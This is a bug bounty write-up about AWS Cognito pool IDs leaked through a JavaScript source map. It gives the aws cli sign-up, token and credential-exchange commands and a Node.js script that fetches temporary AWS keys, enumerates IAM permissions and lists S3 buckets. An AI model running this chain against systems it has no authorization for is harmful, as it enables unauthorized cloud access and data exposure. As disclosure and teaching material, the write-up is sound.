Your Brand Here

Your Brand Here Reach a focused audience of ethical hackers and security researchers

How I Got AWS Secret Keys from Exposed Variables in JS File

Mohamed Ibrahim Mohamed Ibrahim

Nov 12, 2025

How I Got AWS Secret Keys from Exposed Variables in JS File

This blog was originally published here by Mohamed Ibrahim


Hello Security Folks… Mohamed Ibrahim is Here

In this article, I will explain How I was able to get an AWS Credentials(accessKeyId:secretAccessKey:sessionToken) from Leaked variables in JS file First, My Target was a Public Bug Bounty Program on Hackerone with scope: *.example.com


After a normal Recon phase, I picked up a subdomain https://dev.bia.example.com. I opened and it redirect me to Microsoft Login page


I started Directory Brute-force using ffuf to identify any interesting files but got nothing..

Then I decided to take a look at JS file. So I used a getJS tool in this section.

I opened this JS file https://dev.bia.example.com/main.f6c61e0592bfd73515d7.js and start to look at interesting words like: api, secret, password, aws, apikey, user, admin ..etc


Till I found userPoolId and clientId of AWS Cognito service:

The JS file was typically refers to a source map file, which is generated when a JavaScript file is minified, transpiled, or bundled. So I used a sourcemapper tool to extract JS source trees from the file and make it more readable:

Then I opened the out/ directory and found a index.js file under environment/ Directory with the Whole AWS Cognito Credentials leaked:

Now, Lets exploit those leaked Credentials..


I used aws cli to register an account using the Compromised credentials:

aws cognito-idp sign-up \
  --client-id <clientId> \
  --username <username> \
  --password <password>\
  --user-attributes Name="email",Value="<email>" Name="name",Value="<name>" \
  --region <region>

WoWW, The Signup call was completed successfully and I got verification code in my email inbox.


Then, moved to next part. Lets confirm our account:

aws cognito-idp confirm-sign-up \
--client-id <clientId> \
  --username <registered-enail> \
  --confirmation-code <verification-code> \
  --region <region>

The registered account has been confirmed successfully.


Now, Lest login to get our accessToken and IdToken:

aws cognito-idp initiate-auth \
  --auth-flow USER_PASSWORD_AUTH \
  --client-id <cleintId> \
  --auth-parameters USERNAME=<usernmae>,PASSWORD=<password> \
  --region <region>

BoooM, We Got the AccessToken, RefreshToken and IdToken


Now, Lets get the IdentityId token that is used to optained AWS AccessKey and SecetKey:

aws cognito-identity get-id \
  --identity-pool-id <IdentityPoolId> \
  --logins "{\"cognito-idp.<region>.amazonaws.com/<UserPoolId>\":\"<IdToken>\"}" \
  --region <region>

Successfully Got the IdentityId.


Now, Use the IdentityId to fetch AWS credentials:

aws cognito-identity get-credentials-for-identity \
  --identity-id <IdentityId> \
  --logins "{\"cognito-idp.<region>.amazonaws.com/<UserPoolId>\":\"<IdToken>\"}" \
  --region <region>

I got an error output saying that The error InvalidIdentityPoolConfigurationException with the message “Invalid identity pool configuration. Check assigned IAM roles for this pool” during get-credentials-for-identity indicates a configuration issue on the Cognito Identity Pool side. This is a server-side problem, as a user without admin access, cannot directly fix.


However, let’s break it down, explain why it’s happening, and explore what you can do within your current scope:


No IAM Roles Assigned:

  • The Identity Pool doesn’t have an IAM role assigned for authenticated users (or unauthenticated users, if applicable). Cognito Identity Pools use IAM roles to define what AWS resources the temporary credentials can access.

Invalid or Missing Role Configuration:

  • The IAM role exists but is misconfigured (e.g., deleted, detached, or has an invalid trust relationship with the Identity Pool).

Trust Relationship Issue:

  • The IAM role’s trust policy doesn’t allow the Identity Pool to assume it, or it’s not properly linked to the User Pool’s authenticated identities. So, I stopped here and send a detailed report with all I Got to the program on Hackerone and it got triaged:

Then, I thought to test other subdomains If it has the same issue and for my luck I got another One.


I used the above steps again One by One on the new subdomain. But this time When call for an AWS credentials using the IdentityId, I got No error:

Successfully Obtained a valid AWS SecretKey and AccessKey and SessionToken.


The AWS credentials (accessKeyId, secretAccessKey, sessionToken) can be used to:

  • List objects in an S3 bucket
  • Make authenticated requests to AWS services (e.g., S3, DynamoDB, Lambda) that the Cognito Identity Pool is authorized to access.
  • Configure other AWS SDK clients or tools to interact with these services. I have report this one Too and Got triaged also:

In The End, I have created a script that automated this steps all in One:


After you successfully create an account and confirmed it, Put the leaked credentials in .env file:

USER_POOL_ID=<UserPoolId>
CLIENT_ID=<CleintId>
IDENTITY_POOL_ID=<IdentityId>
USERNAME=<RegisteredEmail>
PASSWORD=<Password>
S3_BUCKET_NAME=<S3Bucket>

Then Use this JS scrip(aws-cognito-test.js):

require("dotenv").config();
const AmazonCognitoIdentity = require("amazon-cognito-identity-js");
const AWS = require("aws-sdk");

// Configuration from environment variables
const REGION = process.env.REGION || "us-west-2";
const USER_POOL_ID = process.env.USER_POOL_ID;
const CLIENT_ID = process.env.CLIENT_ID;
const IDENTITY_POOL_ID = process.env.IDENTITY_POOL_ID;
const USERNAME = process.env.USERNAME;
const PASSWORD = process.env.PASSWORD;
const authenticator = `cognito-idp.${REGION}.amazonaws.com/${USER_POOL_ID}`;

// Cognito User Pool configuration
const poolData = {
  UserPoolId: USER_POOL_ID,
  ClientId: CLIENT_ID,
};

// Authenticate user with Cognito User Pool
async function login(username, password) {
  const authenticationData = { Username: username, Password: password };
  const authenticationDetails = new AmazonCognitoIdentity.AuthenticationDetails(
    authenticationData
  );
  const userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);
  const userData = { Username: authenticationData.Username, Pool: userPool };
  const cognitoUser = new AmazonCognitoIdentity.CognitoUser(userData);

  return new Promise((resolve, reject) => {
    cognitoUser.authenticateUser(authenticationDetails, {
      onSuccess: (result) => {
        const idToken = result.getIdToken().getJwtToken();
        console.log("ID Token:", idToken); // Display ID token
        resolve(idToken);
      },
      onFailure: (err) => reject(err),
    });
  });
}

// Exchange ID token for AWS credentials
async function getAWSCredentials(idToken) {
  AWS.config.region = REGION;
  AWS.config.credentials = new AWS.CognitoIdentityCredentials({
    IdentityPoolId: IDENTITY_POOL_ID,
    Logins: { [authenticator]: idToken },
  });

  await new Promise((resolve, reject) => {
    AWS.config.credentials.refresh((error) => {
      if (error) reject(error);
      else resolve();
    });
  });

  const credentials = {
    accessKeyId: AWS.config.credentials.accessKeyId,
    secretAccessKey: AWS.config.credentials.secretAccessKey,
    sessionToken: AWS.config.credentials.sessionToken,
  };
  console.log("AWS Credentials:", credentials); // Display all secret keys
  return credentials;
}

// Enumerate permissions using IAM SimulatePrincipalPolicy
async function enumeratePermissions(credentials) {
  const sts = new AWS.STS({ ...credentials, region: REGION });
  const identity = await sts.getCallerIdentity().promise();
  console.log("Caller Identity:", identity);

  const iam = new AWS.IAM({ ...credentials, region: REGION });
  const result = await iam
    .simulatePrincipalPolicy({
      PolicySourceArn: identity.Arn,
      ActionNames: [
        "s3:ListBucket",
        "s3:GetObject",
        "dynamodb:Query",
        "ec2:DescribeInstances",
        "lambda:InvokeFunction",
        "sts:AssumeRole",
      ],
    })
    .promise();
  console.log("Allowed Actions:", result.EvaluationResults);
  return { identity, permissions: result.EvaluationResults };
}

// Test S3 access by listing buckets
async function testS3Access(credentials) {
  const s3 = new AWS.S3({ ...credentials, region: "us-east-1" });
  const data = await s3.listBuckets().promise();
  console.log("S3 Buckets:", data.Buckets);
  return data.Buckets;
}

// Main function to run all operations sequentially
async function main() {
  try {
    console.log("Starting authentication...");
    const idToken = await login(USERNAME, PASSWORD);
    console.log("Login successful! ID Token displayed above.");

    console.log("Fetching AWS credentials...");
    const credentials = await getAWSCredentials(idToken);
    console.log("AWS credentials displayed above.");

    console.log("Enumerating permissions...");
    const permissions = await enumeratePermissions(credentials);
    console.log("Permissions Enumeration Result:", permissions);

    console.log("Testing S3 access...");
    const buckets = await testS3Access(credentials);
    console.log("Accessible S3 Buckets:", buckets);

    return { idToken, credentials, permissions, buckets };
  } catch (err) {
    console.error("Error:", err.message || JSON.stringify(err));
    throw err;
  }
}

// Execute the main function
main()
  .then((result) => {
    console.log("All operations completed successfully:", {
      idToken: result.idToken, // Display ID token in final summary
      credentials: result.credentials, // Display credentials in final summary
      permissions: result.permissions,
      buckets: result.buckets,
    });
  })
  .catch((err) => {
    console.error("Failed to complete operations:", err);
    process.exit(1);
  });

Put those tow files in One Dir and install those dependencies:

npm install aws-sdk amazon-cognito-identity-js dotenv

Then run this JS file:

The Script do:

  • Display IdToken.
  • Display AWS Credentials.
  • Enumerate permissions using IAM SimulatePrincipalPolicy.
  • Test S3 access by listing buckets.

I have found the same vulnerability in another bug bounty program and report it ..

That It…

Thank you Amazing Hackers for reading my write-up.

For any FAQ or any Feed-Back, I’m here:

Twitter

LinkedIn

To add your blog, send an email to [email protected]